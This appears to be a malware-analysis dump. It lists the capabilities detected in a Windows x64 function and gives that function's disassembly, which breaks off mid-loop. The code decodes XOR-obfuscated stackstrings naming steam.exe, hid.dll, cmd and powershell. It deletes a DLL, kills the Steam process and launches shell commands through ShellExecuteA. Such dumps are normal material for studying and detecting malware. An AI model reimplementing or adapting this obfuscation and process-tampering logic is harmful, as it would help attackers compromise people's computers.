Function at 0x1400527b0
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate processes
Move file
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x718]
sub rsp, 0x7e0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
xor esi, esi
mov qword [0x1400d0d90], rsi
lea rax, [0x1400d0d80]
cmp qword [0x1400d0d98], 0xf
cmova rax, qword [0x1400d0d80]
mov byte [rax], sil
mov dword [rsp + 0x60], 0x727d376f
mov dword [rsp + 0x64], 0x39203b61
mov dword [rsp + 0x68], 0x623c7939
mov byte [rsp + 0x6c], 0x20
movdqa xmm7, xmmword [0x1400c11f0]
mov eax, esi
movdqa xmm9, xmmword [0x1400c1360]
movdqa xmmword [rsp + 0x70], xmm9
lea rcx, [rsp + 0x60]
movdqa xmm6, xmmword [0x1400c1240]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add eax, 4
lea rcx, [rcx + 4]
cmp eax, 0xc
jb 0x140052860
mov byte [rsp + 0x6c], sil
mov r9d, 0x14d
lea r8, [rsp + 0x60]
mov edx, 0x104
lea rcx, [rbp + 0x370]
call fcn.14004ba10
mov dword [rbp + 0x720], 0x73726576
mov dword [rbp + 0x724], 0x6e6f69
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rbp + 0x720]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400528f0
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x10]
call fcn.14007a5d0
movdqa xmm1, xmmword [0x1400c18d0]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0x55437343
mov dword [rsp + 0x54], 0x4545405b
mov byte [rsp + 0x58], 0x2c
mov eax, dword [0x1400c1100]
movd xmm8, eax
movd r15d, xmm9
movd xmm0, r15d
paddb xmm8, xmm0
movd eax, xmm1
movd xmm0, eax
movdqa xmm1, xmm8
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov eax, dword [0x1400c1110]
movd xmm1, eax
movd xmm0, r15d
paddb xmm1, xmm0
movdqa xmmword [rbp - 0x60], xmm1
movd xmm0, dword [rsp + 0x44]
xorps xmm0, xmm1
movd dword [rsp + 0x44], xmm0
mov eax, dword [str._b_t_n_v]
movd xmm2, eax
movd xmm0, r15d
paddb xmm2, xmm0
movdqa xmmword [rbp - 0x70], xmm2
movd xmm0, dword [rsp + 0x48]
xorps xmm0, xmm2
movd dword [rsp + 0x48], xmm0
mov eax, dword [0x1400c1130]
movd xmm2, eax
movd xmm0, r15d
paddb xmm2, xmm0
movdqa xmmword [rsp + 0x70], xmm2
movd xmm0, dword [rsp + 0x4c]
xorps xmm0, xmm2
movd dword [rsp + 0x4c], xmm0
mov edi, 0x10
mov ecx, edi
lea rdx, [rsp + 0x50]
nop
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x18
jb 0x1400529e0
mov byte [rsp + 0x58], sil
movdqa xmm0, xmmword [0x1400c13b0]
movdqu xmmword [rsp + 0x60], xmm0
mov ecx, esi
lea rax, [rsp + 0x60]
nop word [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140052a10
cmp ecx, 0xf
jae 0x140052a70
mov eax, ecx
lea rdx, [rsp + 0x60]
add rdx, rax
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140052a60
mov byte [rsp + 0x6f], sil
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x370]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x50]
call fcn.140051f60
nop
mov dword [rbp + 0x728], 0x72636760
movd r12d, xmm8
movd xmm1, r12d
movd xmm0, dword [rbp + 0x728]
xorps xmm1, xmm0
movd dword [rbp + 0x728], xmm1
mov byte [rbp + 0x72c], 0
lea rax, [rbp + 0x30]
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x720], 0x67736d
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
lea rax, [rbp + 0x720]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052b00
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x30]
call fcn.14007a5d0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.140078080
nop
lea r8, [rbp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.14004e150
mov rcx, rax
lea rdx, [rbp + 0x728]
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140052b50
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140052b67
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140052b81
lea rdx, [rbp + 0x728]
call fcn.1400ac5f0
test eax, eax
jne 0x140052b81
mov r14b, 1
jmp 0x140052b84
xor r14b, r14b
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140052bc5
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052bc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054db7
call fcn.14007c72c
test r14b, r14b
je 0x140054ba7
mov word [rbp + 0x720], 0x2c
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp + 0x720]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140052bf0
lea rdx, [rbp + 0x720]
lea rcx, [rbp - 0x50]
call fcn.14007a5d0
nop
lea rax, [rbp + 0x108]
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x720], 0x76627470
movd xmm1, r12d
movd xmm0, dword [rbp + 0x720]
xorps xmm1, xmm0
movd dword [rbp + 0x720], xmm1
mov byte [rbp + 0x724], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x120], rsi
lea rax, [rbp + 0x720]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140052c64
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x108]
call fcn.14007a5d0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.140078080
nop
lea r8, [rbp + 0x108]
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.14004e150
nop
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14004e4d0
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140052cfc
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052cf7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054dbd
call fcn.14007c72c
movdqa xmm0, xmmword [0x1400c1190]
movdqu xmmword [rbp + 0xc8], xmm0
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140052d4e
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052d49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054dc3
call fcn.14007c72c
mov rax, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x30]
sub rax, rdx
and rax, 0xffffffffffffffe0
cmp rax, 0x80
jne 0x140052d88
add rdx, 0x60
lea rcx, [0x1400d0e18]
cmp rcx, rdx
je 0x140052d88
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140052d83
mov rdx, qword [rdx]
call fcn.140078ad0
lea r9, [0x1400d3348]
cmp qword [0x1400d3360], 0xf
cmova r9, qword [0x1400d3348]
mov dword [rsp + 0x60], 0x685c7325
mov dword [rsp + 0x64], 0x642e6469
mov word [rsp + 0x68], 0x6c6c
mov byte [rsp + 0x6a], 0
lea r8, [rsp + 0x60]
mov edx, 0x104
lea rcx, [rbp + 0x130]
call fcn.14004ba10
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x130]
call fcn.14008ffc4
mov rcx, qword [rbp + 0x30]
cmp qword [rcx + 0x18], 0xf
jbe 0x140052df2
mov rcx, qword [rcx]
call fcn.1400911fc
mov r13d, dword [rsp + 0x70]
mov r14d, dword [rbp - 0x70]
cmp dword [rbp + 0xec], eax
je 0x140053b8e
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x60], 0x61657473
mov dword [rsp + 0x64], 0x78652e6d
mov word [rsp + 0x68], 0x65
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x60]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052e50
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.14007a5d0
xor edx, edx
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rbp + 0x720], rax
mov dword [rbp + 0x240], 0x130
lea rdx, [rbp + 0x240]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140052f14
mov r13, qword [rbp + 0x720]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea rcx, [rbp + 0x26c]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140052ef7
mov r8d, dword [rbp + 0x248]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140052ef7
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x240]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140052ea2
mov r13d, dword [rsp + 0x70]
mov r14d, dword [rbp - 0x70]
mov rcx, qword [rbp + 0x720]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140052f5e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054dc9
call fcn.14007c72c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c12f0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x506686d
mov dword [rsp + 0x54], 0x4a4f5d5b
mov dword [rsp + 0x58], 0x574b0341
mov word [rsp + 0x5c], 0x1355
mov byte [rsp + 0x5e], 0x32
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, r14d
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1e
jb 0x140053000
mov byte [rsp + 0x5e], 0
mov dword [rbp + 0x720], 0x646d63
mov dword [rbp + 0x728], 0x7973657b
movd xmm1, r12d
movd xmm0, dword [rbp + 0x728]
xorps xmm1, xmm0
movd dword [rbp + 0x728], xmm1
mov byte [rbp + 0x72c], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x720]
lea rdx, [rbp + 0x728]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c1890]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c1910]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1400c13d0]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x14662b2b
mov dword [rbp - 0x1c], 0x4b3a263c
mov r9d, esi
mov r14d, 8
mov r10d, r14d
lea r11, [rbp - 0x48]
nop dword [rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x1400530c0
cmp r9d, 0x37
jae 0x140053203
mov eax, r9d
lea rcx, [rbp - 0x50]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x14]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x37
jb 0x1400531f0
mov byte [rbp - 0x19], 0
lea r9, [rbp + 0x130]
lea r8, [rbp - 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x480]
call fcn.14004ba10
mov dword [rsp + 0x60], 0x65776f70
mov dword [rsp + 0x64], 0x65687372
mov word [rsp + 0x68], 0x6c6c
mov byte [rsp + 0x6a], 0
mov dword [rbp + 0x720], 0x7973657b
movd xmm1, r12d
movd xmm0, dword [rbp + 0x720]
xorps xmm1, xmm0
movd dword [rbp + 0x720], xmm1
mov byte [rbp + 0x724], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x480]
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x720]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [str.o7ra__99y_3]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x484a071e
mov dword [rsp + 0x54], 0x56084d49
mov byte [rsp + 0x58], 0x2c
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rsp + 0x48]
movd xmm0, dword [rbp - 0x70]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, dword [rsp + 0x4c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x18
jb 0x140053320
mov byte [rsp + 0x58], 0
mov r9d, 0x14d
lea r8, [rsp + 0x40]
mov edx, 0x104
lea rcx, [rbp + 0x370]
call fcn.14004ba10
lea rax, [rbp - 0x50]
mov qword [rbp + 0x728], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x130]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140053375
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x50]
call fcn.14007a5d0
nop
mov dword [rbp + 0x720], 0x69467764
mov word [rbp + 0x724], 0x656c
mov byte [rbp + 0x726], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rbp + 0x720]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400533c3
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x10]
call fcn.14007a5d0
movdqa xmm0, xmmword [0x1400c18c0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x5049615c
mov dword [rsp + 0x54], 0x47436f46
mov word [rsp + 0x58], 0x2d49
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
movd xmm0, dword [rbp - 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rbp - 0x70]
movd xmm0, dword [rsp + 0x48]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x50]
nop dword [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140053460
mov byte [rsp + 0x59], 0
movdqa xmm0, xmmword [0x1400c13b0]
movdqu xmmword [rsp + 0x60], xmm0
mov ecx, esi
lea rax, [rsp + 0x60]
nop word [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140053490
cmp ecx, 0xf
jae 0x1400534f0
mov eax, ecx
lea rdx, [rsp + 0x60]
add rdx, rax
nop word [rax + rax]
lea eax, [rcx + 0x14]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x1400534e0
mov byte [rsp + 0x6f], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x370]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140050ec0
test al, al
jne 0x1400537f3
cmp dword [0x1400d33b8], 1
jne 0x1400535f3
movdqa xmm0, xmmword [0x1400c1a80]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xbbc389b8
mov dword [rsp + 0x54], 0x9a8ecc98
mov dword [rsp + 0x58], 0xe8b99c4
mov byte [rsp + 0x5c], 0x30
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x44]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movd xmm2, dword [rbp - 0x70]
movd xmm0, dword [rsp + 0x48]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
lea rcx, [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rdi + 0x14]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x1c
jb 0x1400535c0
mov byte [rsp + 0x5c], 0
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400535e0
lea rdx, [rsp + 0x40]
jmp 0x14005376d
movdqa xmm0, xmmword [0x1400c1900]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c1330]
movdqu xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x30], 0x34
lea r9, [rbp - 0x48]
nop word [rax + rax]
lea eax, [r14 - 5]
lea ecx, [r14 - 6]
lea edx, [r14 - 7]
lea r8d, [r14 - 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm3, xmm0
movd dword [r9 - 8], xmm3
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add r14d, 0x10
lea r9, [r9 + 0x10]
lea eax, [r14 - 8]
cmp eax, 0x20
jb 0x140053620
mov byte [rbp - 0x30], 0
lea rax, [rbp - 0x50]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140053760
lea rdx, [rbp - 0x50]
mov r8, rbx
lea rcx, [0x1400d0d80]
call fcn.140078ad0
nop
lea rcx, [rbp + 0x30]
call fcn.140077d20
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1400537c2
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400537bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054da5
call fcn.14007c72c
xor al, al
lea r11, [rsp + 0x7e0]
mov rbx, qword [r11 + 0x58]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x130]
call fcn.14008ffc4
mov rcx, qword [rbp + 0x30]
cmp qword [rcx + 0x18], 0xf
jbe 0x140053814
mov rcx, qword [rcx]
call fcn.1400911fc
cmp dword [rbp + 0xec], eax
je 0x140053b8a
lea r9, [rbp - 0x48]
cmp dword [0x1400d33b8], 1
jne 0x1400539b2
movdqa xmm0, xmmword [0x1400c1a80]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c1a20]
movdqu xmmword [rbp - 0x40], xmm1
mov word [rbp - 0x30], 0x14bb
mov byte [rbp - 0x2e], 0x36
nop word [rax + rax]
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm1, xmm0
movd dword [r9 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add esi, 0x10
add r14d, 0x10
lea r9, [r9 + 0x10]
cmp r14d, 0x28
jb 0x140053860
cmp esi, 0x22
jae 0x140053992
mov eax, esi
lea rcx, [rbp - 0x50]
add rcx, rax
lea eax, [rsi + 0x14]
xor byte [rcx], al
inc esi
lea rcx, [rcx + 1]
cmp esi, 0x22
jb 0x140053982
mov byte [rbp - 0x2e], 0
lea rax, [rbp - 0x50]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400539a0
lea rdx, [rbp - 0x50]
jmp 0x140053b2d
movdqa xmm0, xmmword [0x1400c1900]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c1350]
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x565b5450
mov dword [rbp - 0x2c], 0x1a5e5c5f
mov byte [rbp - 0x28], 0x3c
nop
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm1, xmm0
movd dword [r9 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
